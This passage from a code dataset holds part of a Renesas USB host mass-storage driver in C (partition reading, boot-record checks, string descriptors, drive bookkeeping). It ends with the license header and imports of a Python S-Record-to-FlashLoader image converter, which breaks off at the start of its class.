*mess)\n{\n uint32_t i;\n uint16_t result;\n uint16_t new_drive, parcount = 0;\n uint16_t unit;\n uint8_t partition_info[USB_BOOTPARTNUM];\n uint32_t partition_lba[USB_BOOTPARTNUM + 1u];\n uint32_t trans_byte;\n\n trans_byte = usb_ghmsc_TransSize[mess->ip];\n new_drive = usb_shmsc_NewDrive[mess->ip];\n\n switch( usb_shmsc_DevReadPartitionSeq[mess->ip] )\n {\n case USB_SEQ_0:\n if( usb_shmsc_LoopCont[mess->ip] == USB_SEQ_0 )\n {\n usb_shmsc_Unit[mess->ip] = mess->keyword;\n usb_ghmsc_PartTransSize[mess->ip] = trans_byte;\n }\n else\n {\n trans_byte = usb_ghmsc_PartTransSize[mess->ip];\n }\n partition_lba[0] = (uint32_t)0;\n partition_lba[USB_BOOTPARTNUM] = (uint32_t)0;\n \n /* set drive number */\n new_drive = usb_hmsc_SmpDevNextDriveSearch(mess);\n usb_shmsc_NewDrive[mess->ip] = new_drive;\n\n /* Read10 */\n result = R_usb_hmsc_Read10(\n mess, USB_MAXDRIVE, (uint8_t*)&usb_ghmsc_Data[mess->ip], partition_lba[0], (uint16_t)1, trans_byte);\n usb_shmsc_DevReadPartitionSeq[mess->ip]++;\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_DEV_READ_PARTITION;\n break;\n case USB_SEQ_1:\n unit = usb_shmsc_Unit[mess->ip];\n usb_shmsc_DevReadPartitionSeq[mess->ip] = USB_SEQ_0;\n\n if( mess -> result == USB_HMSC_OK )\n {\n /* Check boot record */\n result = usb_hmsc_SmpDevCheckBootRecord((uint8_t*)&usb_ghmsc_Data[mess->ip],\n (uint32_t*)&partition_lba, (uint8_t*)&partition_info, (uint16_t)0 );\n /* Display partition information */\n if( result != (uint16_t)USB_BOOT_ERROR )\n {\n result = USB_DONE;\n\n for( i = (uint32_t)0; i < (uint32_t)USB_BOOTPARTNUM; i++ )\n {\n switch( partition_info[i] )\n {\n case USB_PT_FAT12:\n case USB_PT_FAT16:\n case USB_PT_FAT32:\n USB_PRINTF2(\" Partition %d open. SIDE %d !\\n\", i, new_drive);\n /* Drive yes */\n usb_ghmsc_DriveChk[new_drive][0] = USB_YES;\n /* Unit Number */\n usb_ghmsc_DriveChk[new_drive][1] = unit;\n /* Partition Number */\n usb_ghmsc_DriveChk[new_drive][2] = parcount;\n /* Device address */\n usb_ghmsc_DriveChk[new_drive][3] = usb_ghmsc_DriveChk[USB_MAXDRIVE][3];\n /* Endpoint table offset */\n usb_ghmsc_DriveChk[new_drive][4] = usb_ghmsc_DriveChk[USB_MAXDRIVE][4];\n /* USB IP No. */\n usb_ghmsc_DriveChk[new_drive][5] = usb_ghmsc_DriveChk[USB_MAXDRIVE][5];\n\n usb_ghmsc_MaxDrive++;\n if( usb_ghmsc_MaxDrive == USB_MAXDRIVE )\n {\n USB_PRINTF1(\" Max drive over %d .\\n\", usb_ghmsc_MaxDrive );\n i = (uint32_t)USB_BOOTPARTNUM;\n }\n else\n {\n /* Next drive search */\n new_drive = usb_hmsc_SmpDevNextDriveSearch(mess);\n usb_shmsc_NewDrive[mess->ip] = new_drive;\n }\n parcount++;\n break;\n case USB_PT_EPRT:\n USB_PRINTF1(\" Extended partition %d. !\\n\", i);\n if( partition_lba[USB_BOOTPARTNUM] == (uint32_t)0 )\n {\n /* Master Boot */\n partition_lba[USB_BOOTPARTNUM] = partition_lba[i];\n /* Next EMBR sector */\n partition_lba[0] = partition_lba[i];\n }\n else\n {\n /* Next EBMR sector */\n partition_lba[0] = partition_lba[i] + partition_lba[USB_BOOTPARTNUM];\n }\n break;\n default:\n break;\n }\n }\n }\n else\n {\n /* Drive read error */\n USB_PRINTF2(\"### %d drive read error ( %d times ).\\n\", new_drive, 0);\n result = USB_ERROR;\n }\n }\n else\n {\n /* Drive read error */\n USB_PRINTF2(\"### %d drive read error ( %d times ).\\n\", new_drive, 0);\n usb_shmsc_LoopCont[mess->ip]++;\n result = (uint16_t)USB_EMBR_ADDR;\n if( usb_shmsc_LoopCont[mess->ip] == (uint32_t)10 )\n {\n result = USB_ERROR;\n usb_shmsc_LoopCont[mess->ip] = USB_SEQ_0;\n }\n }\n\n if( result != (uint16_t)USB_EMBR_ADDR )\n {\n usb_shmsc_StrgProcess[mess->ip] = USB_MSG_HMSC_STRG_DRIVE_SEARCH;\n mess->result = result;\n usb_shmsc_LoopCont[mess->ip] = USB_SEQ_0;\n }\n usb_hmsc_StrgSpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n default:\n usb_shmsc_DevReadPartitionSeq[mess->ip] = USB_SEQ_0;\n mess->result = USB_ERROR;\n usb_hmsc_StrgSpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n }\n return 0;\n} /* eof usb_hmsc_SmpDevReadPartitionAct() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetStringDescriptor1\nDescription : Get String descriptor\nArguments : uint16_t devaddr : device address\n : uint16_t index : descriptor index\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hmsc_GetStringDescriptor1(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete)\n{\n usb_hmsc_GetStringDesc(ptr, devaddr, (uint16_t)0, complete);\n\n return USB_DONE;\n} /* eof usb_hmsc_GetStringDescriptor1() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetStringDescriptor2\nDescription : Get String descriptor\nArguments : uint16_t devaddr : device address\n : uint16_t index : descriptor index\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hmsc_GetStringDescriptor2(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete)\n{\n usb_hmsc_GetStringDesc(ptr, devaddr, index, complete);\n\n return USB_DONE;\n} /* eof usb_hmsc_GetStringDescriptor2() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_StrgSpecifiedPath\nDescription : Next Process Selector\nArguments : USB_CLSINFO_t *mess : Message\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_StrgSpecifiedPath(USB_CLSINFO_t *mess)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HSTRG_MPL,&p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = usb_shmsc_StrgProcess[mess->ip];\n cp->keyword = mess->keyword;\n cp->result = mess->result;\n\n cp->ip = mess->ip;\n cp->ipp = mess->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HSTRG_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HSTRG_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### SpecifiedPass function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### SpecifiedPass function pget_blk error\\n\");\n }\n} /* eof usb_hmsc_StrgSpecifiedPath() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_StrgCheckResult\nDescription : Hub class check result\nArguments : USB_UTR_t *mess : Message\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_StrgCheckResult(USB_UTR_t *mess)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n \n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HSTRG_MPL,&p_blf) == USB_E_OK )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = usb_shmsc_StrgProcess[mess->ip];\n cp->keyword = mess->keyword;\n cp->result = mess->status;\n\n cp->ip = mess->ip;\n cp->ipp = mess->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HSTRG_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = USB_REL_BLK(USB_HSTRG_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### CheckResult function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### CheckResult function pget_blk error\\n\");\n }\n} /* eof usb_hmsc_StrgCheckResult() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetStringDesc\nDescription : Set GetDescriptor\nArguments : uint16_t addr : device address\n : uint16_t string : descriptor index\n : USB_CB_t complete : callback function\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hmsc_GetStringDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t string\n , USB_CB_t complete)\n{\n uint16_t i;\n\n if( string == 0 )\n {\n usb_shmsc_ClassRequest[ptr->ip][2] = (uint16_t)0x0000;\n usb_shmsc_ClassRequest[ptr->ip][3] = (uint16_t)0x0004;\n }\n else\n {\n /* Set LanguageID */\n usb_shmsc_ClassRequest[ptr->ip][2] = (uint16_t)(usb_ghmsc_ClassData[ptr->ip][2]);\n usb_shmsc_ClassRequest[ptr->ip][2] |= (uint16_t)((uint16_t)(usb_ghmsc_ClassData[ptr->ip][3]) << 8);\n usb_shmsc_ClassRequest[ptr->ip][3] = (uint16_t)USB_HMSC_CLSDATASIZE;\n }\n usb_shmsc_ClassRequest[ptr->ip][0] = USB_GET_DESCRIPTOR | USB_DEV_TO_HOST | USB_STANDARD | USB_DEVICE;\n usb_shmsc_ClassRequest[ptr->ip][1] = (uint16_t)(USB_STRING_DESCRIPTOR + string);\n usb_shmsc_ClassRequest[ptr->ip][4] = addr;\n\n for( i = 0; i < usb_shmsc_ClassRequest[ptr->ip][3]; i++ )\n {\n usb_ghmsc_ClassData[ptr->ip][i] = (uint8_t)0xFF;\n }\n\n return usb_hmsc_CmdSubmit(ptr, complete);\n} /* eof usb_hmsc_GetStringDesc() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_CmdSubmit\nDescription : command submit\nArguments : USB_CB_t complete : callback info\nReturn value : uint16_t : USB_DONE\n******************************************************************************/\nuint16_t usb_hmsc_CmdSubmit(USB_UTR_t *ptr, USB_CB_t complete)\n{\n usb_shmsc_ClassControl[ptr->ip].tranadr = (void *)usb_ghmsc_ClassData[ptr->ip];\n usb_shmsc_ClassControl[ptr->ip].complete = complete;\n usb_shmsc_ClassControl[ptr->ip].tranlen = (uint32_t)usb_shmsc_ClassRequest[ptr->ip][3];\n usb_shmsc_ClassControl[ptr->ip].keyword = USB_PIPE0;\n usb_shmsc_ClassControl[ptr->ip].setup = usb_shmsc_ClassRequest[ptr->ip];\n usb_shmsc_ClassControl[ptr->ip].segment = USB_TRAN_END;\n\n usb_shmsc_ClassControl[ptr->ip].ip = ptr->ip;\n usb_shmsc_ClassControl[ptr->ip].ipp = ptr->ipp;\n\n usb_hstd_TransferStart(&usb_shmsc_ClassControl[ptr->ip]);\n \n return USB_DONE;\n} /* eof usb_hmsc_CmdSubmit() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDevCheckBootRecord\nDescription : Device check boot record\nArguments : uint8_t *data : Data\n : uint32_t *par_lba : Par LBA\n : uint8_t *par_info : Par info\n : uint16_t flag : Flag\nReturn value : uint16_t : Error code [USB_DONE/USB_ERROR]\n******************************************************************************/\nuint16_t usb_hmsc_SmpDevCheckBootRecord(uint8_t *data, uint32_t *par_lba, uint8_t *par_info, uint16_t flag)\n{\n USB_MBR_t *mbr_data;\n USB_PBR_t *pbr_data;\n USB_FAT1216_t *fat1216;\n USB_PTBL_t *partition;\n uint16_t fat_sector, i, embr_flag;\n uint32_t total_sector32, dummy;\n\n mbr_data = (USB_MBR_t*)data;\n pbr_data = (USB_PBR_t*)data;\n\n /* BOOT Recorder ? */\n dummy = (uint32_t)(pbr_data->Signature[0]);\n dummy |= (uint32_t)((uint16_t)(pbr_data->Signature[1]) << 8);\n if( dummy != (uint32_t)USB_BOOTRECORD_SIG )\n {\n par_info[0] = USB_PT_NONE;\n USB_PRINTF1(\" USB_BOOTRECORD_SIG error 0x%04x\\n\", dummy);\n return USB_BOOT_ERROR;\n }\n\n embr_flag = USB_PT_NONE;\n\n /* MBR check (Partition n) */\n for( i = 0; i < USB_BOOTPARTNUM; i++ )\n {\n partition = (USB_PTBL_t*)&(mbr_data->PartitionTable[i * 16]);\n par_info[i] = USB_PT_NONE;\n par_lba[i] = (uint32_t)(partition->StartSectorNum[0]);\n par_lba[i] |= (uint32_t)(partition->StartSectorNum[1]) << 8;\n par_lba[i] |= (uint32_t)(partition->StartSectorNum[2]) << 16;\n par_lba[i] |= (uint32_t)(partition->StartSectorNum[3]) << 24;\n switch( partition->PartitionType )\n {\n case USB_PT_NONE:\n break;\n case USB_PT_EPRTA:\n case USB_PT_EPRTB:\n embr_flag = USB_EMBR_ADDR;\n par_info[i] = USB_PT_EPRT;\n break;\n case USB_PT_FAT12A:\n if( embr_flag == USB_PT_NONE )\n {\n embr_flag = USB_MBR_ADDR;\n }\n par_info[i] = USB_PT_FAT12;\n break;\n case USB_PT_FAT16A:\n case USB_PT_FAT16B:\n case USB_PT_FAT16X:\n if( embr_flag == USB_PT_NONE )\n {\n embr_flag = USB_MBR_ADDR;\n }\n par_info[i] = USB_PT_FAT16;\n break;\n case USB_PT_FAT32A:\n case USB_PT_FAT32X:\n if( embr_flag == USB_PT_NONE )\n {\n embr_flag = USB_MBR_ADDR;\n }\n par_info[i] = USB_PT_FAT32;\n break;\n default:\n if( flag != 0 )\n {\n USB_PRINTF1(\" Partition type not support 0x%02x\\n\", partition->PartitionType);\n }\n break;\n }\n }\n\n switch( embr_flag )\n {\n case USB_MBR_ADDR:\n case USB_EMBR_ADDR:\n return embr_flag;\n break;\n default:\n break;\n }\n\n /* PBR check */\n fat1216 = (USB_FAT1216_t*)&(pbr_data->FATSigData);\n\n fat_sector = (uint16_t)(pbr_data->FATSector[0]);\n fat_sector |= (uint16_t)((uint16_t)(pbr_data->FATSector[1]) << 8);\n total_sector32 = (uint32_t)(pbr_data->TotalSector1[0]);\n total_sector32 |= ((uint32_t)(pbr_data->TotalSector1[1]) << 8);\n total_sector32 |= ((uint32_t)(pbr_data->TotalSector1[2]) << 16);\n total_sector32 |= ((uint32_t)(pbr_data->TotalSector1[3]) << 24);\n\n if( ((pbr_data->JMPcode == USB_JMPCODE1) &&\n (pbr_data->NOPcode == USB_NOPCODE)) ||\n (pbr_data->JMPcode == USB_JMPCODE2) )\n {\n if( fat_sector == 0 )\n {\n if( total_sector32 != (uint32_t)0 )\n {\n par_info[0] = USB_PT_FAT32; /* FAT32 spec */\n }\n }\n else\n {\n if( (fat1216->FileSystemType[3] == 0x31) && (fat1216->FileSystemType[4] == 0x32) )\n {\n par_info[0] = USB_PT_FAT12; /* FAT12 spec */\n }\n else if( (fat1216->FileSystemType[3] == 0x31) && (fat1216->FileSystemType[4] == 0x36) )\n {\n par_info[0] = USB_PT_FAT16; /* FAT16 spec */\n }\n else\n {\n }\n }\n }\n\n if( par_info[0] == USB_PT_NONE )\n {\n USB_PRINTF0(\" Partition error\\n\");\n return USB_BOOT_ERROR;\n }\n else\n {\n return USB_PBR_ADDR;\n }\n} /* eof usb_hmsc_SmpDevCheckBootRecord() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpFsiDriveClear\nDescription : Device check boot record\nArguments : uint16_t addr : Address\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_SmpFsiDriveClear(USB_UTR_t *ptr, uint16_t addr)\n{\n uint16_t i, offset, msgnum;\n uint16_t find = USB_NO;\n uint16_t ip;\n\n ip = ptr->ip;\n for( i = 0; i < USB_MAXDRIVE; i++ )\n {\n if( (usb_ghmsc_DriveChk[i][3] == addr) && (usb_ghmsc_DriveChk[i][5] == ip) )\n {\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, i);\n if( USB_ERROR != msgnum )\n {\n offset = (uint16_t)(2u * USB_EPL * msgnum);\n\n usb_ghmsc_PipeTable[ip][offset +1] &= (USB_BFREON | USB_DBLBON | USB_CNTMDON | USB_SHTNAKON); /* PIPECFG */\n usb_ghmsc_PipeTable[ip][offset +3] = USB_NONE; /* PIPEMAXP */\n usb_ghmsc_PipeTable[ip][offset +4] = USB_NONE; /* PIPEPERI */\n offset += USB_EPL;\n\n usb_ghmsc_PipeTable[ip][offset +1] &= (USB_BFREON | USB_DBLBON | USB_CNTMDON | USB_SHTNAKON); /* PIPECFG */\n usb_ghmsc_PipeTable[ip][offset +3] = USB_NONE; /* PIPEMAXP */\n usb_ghmsc_PipeTable[ip][offset +4] = USB_NONE; /* PIPEPERI */\n\n usb_ghmsc_DriveChk[i][0] = USB_NO; /* Yes/No */\n usb_ghmsc_DriveChk[i][1] = 0; /* Unit Number */\n usb_ghmsc_DriveChk[i][2] = 0; /* Partition Number */\n usb_ghmsc_DriveChk[i][3] = 0; /* Device address */\n usb_ghmsc_DriveChk[i][4] = 0; /* Device number */\n usb_ghmsc_DriveChk[i][5] = 0; /* USB IP number */\n usb_ghmsc_MaxDrive--;\n find = USB_YES;\n }\n }\n }\n\n if( find == USB_NO )\n {\n if( (usb_ghmsc_DriveChk[USB_MAXDRIVE][3] == addr) && (usb_ghmsc_DriveChk[i][5] == ip) )\n {\n msgnum = usb_hmsc_SmpDrive2Msgnum(ptr, USB_MAXDRIVE);\n if( USB_ERROR != msgnum )\n {\n offset = (uint16_t)(2u * USB_EPL * msgnum);\n\n usb_ghmsc_PipeTable[ip][offset +1] &= (USB_BFREON | USB_DBLBON | USB_CNTMDON | USB_SHTNAKON); /* PIPECFG */\n usb_ghmsc_PipeTable[ip][offset +3] = USB_NONE; /* PIPEMAXP */\n usb_ghmsc_PipeTable[ip][offset +4] = USB_NONE; /* PIPEPERI */\n offset += USB_EPL;\n\n usb_ghmsc_PipeTable[ip][offset +1] &= (USB_BFREON | USB_DBLBON | USB_CNTMDON | USB_SHTNAKON); /* PIPECFG */\n usb_ghmsc_PipeTable[ip][offset +3] = USB_NONE; /* PIPEMAXP */\n usb_ghmsc_PipeTable[ip][offset +4] = USB_NONE; /* PIPEPERI */\n\n usb_ghmsc_DriveChk[USB_MAXDRIVE][0] = USB_NO; /* Yes/No */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][1] = 0; /* Unit Number */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][2] = 0; /* Partition Number */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][3] = 0; /* Device address */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][4] = 0; /* Device number */\n usb_ghmsc_DriveChk[USB_MAXDRIVE][5] = 0; /* USB IP number */\n }\n }\n }\n\n if( usb_ghmsc_StrgCount != 0 )\n {\n usb_ghmsc_StrgCount--;\n }\n\n usb_ghmsc_OutPipe[ip][msgnum][0] = USB_NOPORT; /* Pipe initial */\n usb_ghmsc_OutPipe[ip][msgnum][1] = 0; /* Toggle clear */\n usb_ghmsc_InPipe[ip][msgnum][0] = USB_NOPORT;\n usb_ghmsc_InPipe[ip][msgnum][1] = 0;\n\n if( usb_ghmsc_StrgCount == 0 )\n {\n R_usb_hmsc_TaskClose(ptr);\n }\n} /* eof usb_hmsc_SmpFsiDriveClear() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpTotalDrive\nDescription : Total drive information\nArguments : none\nReturn value : uint16_t : Max drive\n******************************************************************************/\nuint16_t usb_hmsc_SmpTotalDrive(void)\n{\n return usb_ghmsc_MaxDrive;\n} /* eof usb_hmsc_SmpTotalDrive() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDrive2Unit\nDescription : Total drive information\nArguments : uint16_t side : Side\nReturn value : uint16_t : Unit number\n******************************************************************************/\nuint16_t usb_hmsc_SmpDrive2Unit(USB_UTR_t *ptr, uint16_t side)\n{\n if( usb_ghmsc_DriveChk[side][0] != USB_YES )\n {\n USB_PRINTF3(\"### Drive %d is not opened. Unit=%d, Partition=%d !\\n\",\n side, usb_ghmsc_DriveChk[side][1], usb_ghmsc_DriveChk[side][2]);\n return USB_ERROR;\n }\n return (usb_ghmsc_DriveChk[side][1]); /* Unit Number */\n} /* eof usb_hmsc_SmpDrive2Unit() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDrive2Part\nDescription : Retrieves partition number\nArguments : uint16_t side : Side\nReturn value : uint16_t : Partition number\n******************************************************************************/\nuint16_t usb_hmsc_SmpDrive2Part(USB_UTR_t *ptr, uint16_t side)\n{\n if( usb_ghmsc_DriveChk[side][0] != USB_YES )\n {\n USB_PRINTF3(\"### Drive %d is not opened. Unit=%d, Partition=%d !\\n\"\n , side, usb_ghmsc_DriveChk[side][1], usb_ghmsc_DriveChk[side][2]);\n return USB_ERROR;\n }\n return (usb_ghmsc_DriveChk[side][2]); /* Parttition Number */\n} /* eof usb_hmsc_SmpDrive2Part() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDrive2Addr\nDescription : Retrieves device address\nArguments : uint16_t side : Side\nReturn value : uint16_t : Device address\n******************************************************************************/\nvoid usb_hmsc_SmpDrive2Addr(uint16_t side, USB_UTR_t *devadr)\n{\n devadr->keyword = usb_ghmsc_DriveChk[side][3]; /* Device Address */\n devadr->ip = usb_ghmsc_DriveChk[side][5]; /* USB IP No. */\n devadr->ipp = R_usb_cstd_GetUsbIpAdr(devadr->ip);\n} /* eof usb_hmsc_SmpDrive2Addr() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpDrive2Msgnum\nDescription : Checks drive number\nArguments : uint16_t side : Side\nReturn value : uint16_t : Drive address\n******************************************************************************/\nuint16_t usb_hmsc_SmpDrive2Msgnum(USB_UTR_t *ptr, uint16_t side)\n{\n if( USB_NO == usb_ghmsc_DriveChk[side][0] )\n {\n return USB_ERROR;\n }\n return (usb_ghmsc_DriveChk[side][4]);\n} /* eof usb_hmsc_SmpDrive2Msgnum() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_ClassWait\nDescription : HMSC Class Wait\nArguments : USB_UTR_t *mess : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_ClassWait(USB_ID_t id, USB_UTR_t *mess)\n{\n USB_ER_t err; /* Error code */\n uint16_t mode, tbl[10];\n\n R_usb_hstd_DeviceInformation(mess, 0, (uint16_t *)&tbl);\n\n if( mess->keyword == 0 )\n {\n mode = tbl[9]; /* PORT1 */\n }\n else\n {\n mode = tbl[8]; /* PORT0 */\n }\n if( mode != USB_DEFAULT )\n {\n mess->msginfo = USB_MSG_MGR_AORDETACH;\n err = R_USB_SND_MSG(USB_MGR_MBX, (USB_MSG_t*)mess);\n if( err != USB_E_OK )\n {\n USB_PRINTF0(\"### USB Strg enuwait snd_msg error\\n\");\n }\n }\n else\n {\n err = R_USB_SND_MSG(id, (USB_MSG_t*)mess);\n if( err != USB_E_OK )\n {\n USB_PRINTF0(\"### USB Strg enuwait snd_msg error\\n\");\n }\n }\n} /* eof usb_hmsc_ClassWait() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_StdReqCheck\nDescription : Sample Standard Request Check\nArguments : uint16_t errcheck : error\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hmsc_StdReqCheck(uint16_t errcheck)\n{\n if( errcheck == USB_DATA_TMO )\n {\n USB_PRINTF0(\"*** Standard Request Timeout error !\\n\");\n return USB_ERROR;\n }\n else if( errcheck == USB_DATA_STALL )\n {\n USB_PRINTF0(\"*** Standard Request STALL !\\n\");\n return USB_ERROR;\n }\n else if( errcheck != USB_CTRL_END )\n {\n USB_PRINTF0(\"*** Standard Request error !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n return USB_DONE;\n} /* eof usb_hmsc_StdReqCheck() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetStringDescriptor1Check\nDescription : Get String descriptor Check\nArguments : uint16_t errcheck : errcheck\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hmsc_GetStringDescriptor1Check(USB_UTR_t *ptr, uint16_t errcheck)\n{\n if( errcheck == (USB_ER_t)USB_DATA_STALL )\n {\n USB_PRINTF0(\"*** LanguageID not support !\\n\");\n return USB_ERROR;\n }\n else if( errcheck != (USB_ER_t)USB_CTRL_END )\n {\n USB_PRINTF0(\"*** LanguageID not support !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n\n return USB_DONE;\n} /* eof usb_hmsc_GetStringDescriptor1Check() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_GetStringDescriptor2Check\nDescription : Get String descriptor Check\nArguments : uint16_t errcheck : errcheck\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hmsc_GetStringDescriptor2Check(USB_UTR_t *ptr, uint16_t errcheck)\n{\n if( errcheck == (USB_ER_t)USB_DATA_STALL )\n {\n USB_PRINTF0(\"*** SerialNumber not support !\\n\");\n return USB_ERROR;\n }\n else if( errcheck != (USB_ER_t)USB_CTRL_END )\n {\n USB_PRINTF0(\"*** SerialNumber not support !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n\n return USB_DONE;\n} /* eof usb_hmsc_GetStringDescriptor2Check() */\n\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpFsiSectorInitialized\nDescription : Initialized global area\nArguments : int side : drive number\n : uint32_t offset : buffer address\n : uint16_t size : sector size\nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_SmpFsiSectorInitialized(uint16_t side, uint32_t offset,\n uint16_t size)\n{\n USB_MEDIA_INITIALIZE(side);\n} /* eof usb_hmsc_SmpFsiSectorInitialized() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpFsiOffsetSectorRead\nDescription : Offset Sector Read\nArguments : int side : drive number\n : uint16_t size : sector size\nReturn value : uint32_t offset_sector[side]\n******************************************************************************/\nuint32_t usb_hmsc_SmpFsiOffsetSectorRead(uint16_t side)\n{\n return (uint32_t)0uL;\n} /* eof usb_hmsc_SmpFsiOffsetSectorRead() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpFsiFileSystemInitialized\nDescription : Initialized global area\nArguments : uint16_t side : drive number\n : uint8_t *Data : partition table\n : uint32_t Offset : offset address\nReturn value : uint16_t DONE\n******************************************************************************/\nuint16_t usb_hmsc_SmpFsiFileSystemInitialized(uint16_t side, uint8_t *Data,\n uint32_t Offset)\n{\n return USB_DONE;\n} /* eof usb_hmsc_SmpFsiFileSystemInitialized() */\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5663350820541382, "alphanum_fraction": 0.5749990940093994, "avg_line_length": 49.869327545166016, "blob_id": "f2d891abbdcef400f61a080ead80e11fb5bc3fad", "content_id": "82aa848a475d0cb2284de3562c8934898dee8c3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28047, "license_type": "no_license", "max_line_length": 185, "num_lines": 551, "path": "/r_flash_loader_rx/utilities/python/r_fl_mot_converter.py", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n'''\n/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/****************************************************************************\n* File Name\t\t: FL_MOT_Converter.py\n* Description : This application takes an S-Record file and converts it into\n* a Load Image to be used with the Renesas FlashLoader project.\n* The code is setup so that if you are just wanting to change\n* the size of entries in a structure then the only thing\n* you need to change is the number associated with the \n* entry in the dictionaries below (FL_LI_FORMAT and \n* FL_BH_FORMAT). You can edit the image header valid_mask\n* value using the -m option. You can edit the block header\n* valid_mask value by changing FL_BH_VALID_MASK. If you\n* want to edit more than the size of entries then you will\n* need to dig in deeper.\n*\n* Notes : For seeing the format of a S-Record file I recommend looking\n* here : http://www.amelek.gda.pl/avr/uisp/srecord.htm\n******************************************************************************/ \n/******************************************************************************\n* History \t\t: MM.DD.YYYY Version Information\n* : 03.18.2010 Ver. 1.00 First Release - BCH\n* : 09.20.2010 Ver. 2.00 Cleaned up code, made easier to \n* modify - BCH\n* : 03.01.2012 Ver. 3.00 Added '-m' option to set the app's \n* valid mask value. The default value is \n* 0xAA. If the read value does not match\n* the expected value then an error \n* message is output.\n******************************************************************************/\n'''\n#Used for getting input arguments and exiting\nimport sys\n#Used to split extension off of the input filename (that's it)\nimport os\n#Used for string operations\nimport string\n#binascii is used for converting from ASCII to binary\nimport binascii\n#crcmod is used for doing the CRC16\nimport crcmod\n#Used for unpacking FL_CurAppHeader from S-Record file (like C style struct)\nfrom struct import *\n#This allows us to define the 'struct' that we use later\nfrom collections import namedtuple\n\n#This is the overall class that processes an S-Record file\nclass FL_MOT_Converter:\n \n #Number of bytes used for checksum in S-Record file\n CHECKSUM_BYTES = 